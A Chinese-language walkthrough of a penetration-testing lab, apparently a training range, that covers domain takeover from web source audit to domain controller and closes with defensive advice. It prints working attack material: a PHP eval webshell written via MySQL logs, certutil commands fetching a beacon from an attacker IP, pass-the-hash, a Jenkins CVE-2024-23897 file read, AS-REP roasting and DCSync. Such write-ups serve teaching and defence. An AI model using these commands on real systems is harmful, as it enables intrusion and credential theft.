CyberStrikeLab-Medal:从 0day 审计到域控权限的全链路渗透复盘
字数 4181
更新时间 2026-03-23 16:22:24
渗透测试实战教学:从源码审计到域控权限获取
0x00 前言
本文档旨在通过对一个名为“CyberStrikeLab-Medal”的实战靶场进行全流程复现,系统性地讲解一个完整的渗透测试攻击链。攻击路径从Web源码审计开始,经过内网横向移动,最终获取域控权限。整个过程涉及多个关键攻击面和技术要点,是学习企业内网渗透的绝佳案例。
0x01 环境拓扑
攻击者位于外网,目标网络包含多个网段。主要目标包括:
- 边界Web服务器: 172.50.66.15
- 内网Jenkins服务器: 172.50.66.42
- 域内主机: 10.0.0.66
- 域控制器 (DC): 10.0.0.3
攻击目标是从外部网络逐步渗透,最终控制整个域环境。
0x02 初始访问:源码审计与Web边界突破
2.1 资产发现与源码获取
渗透的第一步是信息收集。通过对目标Web系统进行目录扫描,发现了其配套的源码压缩包。获取源码是后续进行代码审计和发现0day漏洞的关键。
2.2 源码审计与0day发现
通过对系统安装逻辑(特别是install模块)的审计,发现了一个关键逻辑缺陷:系统未对已完成安装的状态进行严格的“重装锁定”检查。这意味着攻击者可以绕过安装完成后的锁定机制,重新触发安装流程。
实战操作:
编写自动化脚本,利用安装逻辑的重置功能,强行重置或创建新的后台管理员账户,从而获得Web应用的后台管理权限。
2.3 后台利用与权限提升
- 后台SQL注入:进入后台后,在“数据库执行”模块发现可以直接执行原始SQL语句。为了进一步获取系统权限,首先需要探测MySQL数据库的文件写入权限。
- 信息收集:使用报错注入快速获取数据库用户等信息。使用的Payload示例:
SELECT 1 AND (EXTRACTVALUE(1, CONCAT(0x7e, USER(), 0x7e))); - 日志注入Getshell:当发现
into outfile直接写入被限制时,采用MySQL日志写Webshell的方法。- 开启全局日志:
SET GLOBAL general_log = 'ON'; - 更改日志文件路径到Web目录:
SET GLOBAL general_log_file = 'C:/phpStudy/WWW/shell.php'; - 通过执行SQL语句将Webshell代码写入日志文件:
SELECT '<?php @eval(end($_GET));?>'; - 访问写入的日志文件(现在已成为Webshell)即可执行命令。
- 开启全局日志:
2.4 免杀与持久化
- WAF/杀软绕过:使用
end($_GET)而非$_GET[‘x’]或$_POST[‘x’]来执行代码。end($_GET)会取URL中最后一个参数的值作为代码执行,隐蔽性更强,可绕过部分基于简单正则匹配的防护。 - 载荷投递:使用
certutil.exe的-urlcache参数下载文件,该参数可清理下载缓存,减少溯源风险。命令示例:certutil.exe -urlcache -split -f http://攻击者IP/beacon.exe beacon.exe - 上线Cobalt Strike (CS):通过Webshell执行下载的命令,将免杀后的CS Beacon或哥斯拉Webshell马下载到目标服务器并执行,成功建立第一个C2通道。
2.5 权限维持与信息收集
- 在已控制的第一台主机(172.50.66.15)上,通过CS的
hashdump或mimikatz模块抓取本地管理员用户的NTLM Hash。 - 利用获取的Hash(例如
Administrator:aad3b435b51404eeaad3b435b51404ee:5924d91918dabd39c976eb8620d54f9f),通过wmiexec.py等工具进行哈希传递攻击(Pass-the-Hash, PtH),获取该主机的系统权限。 - 在控制的主机上进行内网信息收集(如
ipconfig /all,net view),发现同网段存在另一台主机:172.50.66.42(Jenkins服务器)。
0x03 内网横向:Jenkins漏洞利用与提权
3.1 Jenkins任意文件读取漏洞 (CVE-2024-23897)
- 漏洞描述:受影响版本的Jenkins CLI接口,在解析命令参数时,如果参数以
@字符开头,会将其后的内容视为文件路径并读取其内容。这导致了服务器上的任意文件读取漏洞。 - 利用步骤:
- 从Jenkins服务器下载CLI客户端:
wget http://172.50.66.42:8080/jnlpJars/jenkins-cli.jar - 利用漏洞读取敏感文件(如flag):
java -jar jenkins-cli.jar -s http://172.50.66.42:8080 -http help 1 "@C:\flag.txt"
- 从Jenkins服务器下载CLI客户端:
3.2 权限提升:从服务账户到SYSTEM
- 上线CS:通过Jenkins的“脚本命令行”(Groovy Script Console)功能执行系统命令,下载并执行CS Beacon,将Jenkins服务器上线。命令示例:
"certutil -urlcache -split -f http://攻击者IP/beacon2.exe beacon2.exe".execute() - 提权操作:Jenkins服务默认以本地服务账户(如
LOCAL SERVICE)权限运行。为了获取更高权限(如抓取哈希),需要提权至SYSTEM。 - 烂土豆提权:使用“烂土豆”(Rotten Potato)或“多汁土豆”(Juicy Potato)进行提权。其原理是滥用Windows的BITS服务,通过模拟
NT AUTHORITY\SYSTEM令牌来提升权限。在CS中,可以直接使用内置的提权插件(如elevate)运行对应的提权模块。 - 获取凭证:提权成功后,使用
hashdump或mimikatz抓取该主机(172.50.66.42)上本地管理员和系统服务的哈希。在信息收集中,发现域名:cyberstrikelab.com。
0x04 跨网段渗透:凭据搜集与横向移动
4.1 用户枚举与RID爆破
利用已获取的凭据(密码或哈希),开始对域内主机(10.0.0.66)进行探测。
- 在没有高权限域账号时,可以利用
Guest等低权限账户,使用工具(如NetExec, nxc)进行RID爆破,以枚举目标主机上的本地用户和组。nxc smb 10.0.0.66 -u guest -p '' --rid-brute - 此举可以帮助确认关键用户(如
Administrator的SID为500)和用户组结构。
4.2 凭据复用与登录
- 凭据发现:在之前控制的机器上,通过搜索配置文件、注册表、内存或共享目录,发现了密码
cs1ab@aeun。 - 本地认证尝试:尝试使用此密码对目标主机(10.0.0.66)的本地管理员账户进行认证。
nxc smb 10.0.0.66 -u Administrator -p 'cs1ab@aeun' --local-auth - 获取访问权限:认证成功后,使用
evil-winrm等工具登录该主机。evil-winrm -u administrator -p cs1ab@aeun -i 10.0.0.66 - 进一步信息收集:在新控制的主机上,继续搜集信息,可能发现新的域用户凭据(例如用户
cslab的密码cs1ab@aq)。
0x05 攻陷域控:Kerberos协议攻击
5.1 AS-REP Roasting攻击原理
这是针对Kerberos协议的一种攻击。在Active Directory中,如果某个用户账户设置了“不需要Kerberos预身份验证”(Do not require Kerberos preauthentication)属性,攻击者就可以直接向域控制器(KDC)为该用户请求TGT(票据授予票据),而KDC会返回一段用该用户密码哈希加密的数据。攻击者可以截获这段响应,并对其进行离线暴力破解,从而获得该用户的明文密码。
5.2 攻击实施步骤
- 发现目标用户:使用已获得的域账户(如
cslab)枚举域内用户,并查找设置了“不需要预身份验证”属性的账户。在本案例中,发现用户zhangsan存在此配置缺陷。nxc ldap 10.0.0.3 -u cslab -p 'cs1ab@aq' --asreproast - 请求哈希:利用工具(如
nxc的--asreproast参数或GetNPUsers.py)请求该用户的AS-REP响应,提取出可用于离线破解的哈希值($krb5asrep格式)。 - 离线破解:使用
hashcat或john工具,配合强大的密码字典,对获取的哈希进行离线爆破。
成功破解出用户hashcat -m 18200 hash.txt rockyou.txtzhangsan的密码为Admin@123。
5.3 获取域控权限
- 权限验证:使用破解得到的密码
Admin@123,以域用户zhangsan的身份登录域内主机,发现该用户具有高权限(例如是Domain Admins组成员)。 - 导出域哈希:利用高权限域账户,可以通过
DCSync攻击或直接在域控制器上运行mimikatz,导出域内所有用户的哈希(NTDS.dit)。# 在已控的域成员主机上使用mimikatz执行DCSync lsadump::dcsync /domain:cyberstrikelab.com /all - 登录域控:使用获取的域管理员凭据,通过
evil-winrm、psexec或wmiexec等工具直接登录域控制器(10.0.0.3),最终获取域环境的完全控制权。
0x06 技术总结与防御建议
攻击链条复盘
- 边界突破:源码审计发现逻辑0day,是进入内网最稳妥的入口之一。
- 权限维持:灵活运用Webshell写法、系统工具(certutil)和免杀技术绕过防护。
- 内网横向:利用已知漏洞(CVE-2024-23897)、凭据复用和协议弱点(Kerberos)层层递进。
- 域控攻陷:配置疏忽(无需预身份验证)是导致域沦陷的关键。
防御加固建议
- 应用层:
- 删除生产环境的Web安装目录、调试页面和源码包。
- 对后台等敏感功能进行严格的权限控制和操作审计。
- 避免在Web应用中提供直接执行原生SQL的功能。
- 系统层:
- 遵循最小权限原则,为服务分配所需的最低权限。
- 及时修补公开的高危漏洞(如Jenkins CVE-2024-23897)。
- 部署终端检测与响应(EDR)系统,监控
certutil、rundll32等合法工具的异常调用。
- 域环境:
- 在所有域用户账户上禁用“不需要Kerberos预身份验证”选项。可通过组策略或PowerShell命令(
Set-ADAccountControl)统一配置。 - 强制使用强密码策略,并定期更换密码,降低AS-REP Roasting等离线破解的成功率。
- 实施多因素认证(MFA),尤其对特权账户。
- 严格限制域管理员组的成员数量,并对其登录行为进行高等级监控和审计。
- 在所有域用户账户上禁用“不需要Kerberos预身份验证”选项。可通过组策略或PowerShell命令(
相似文章
相似文章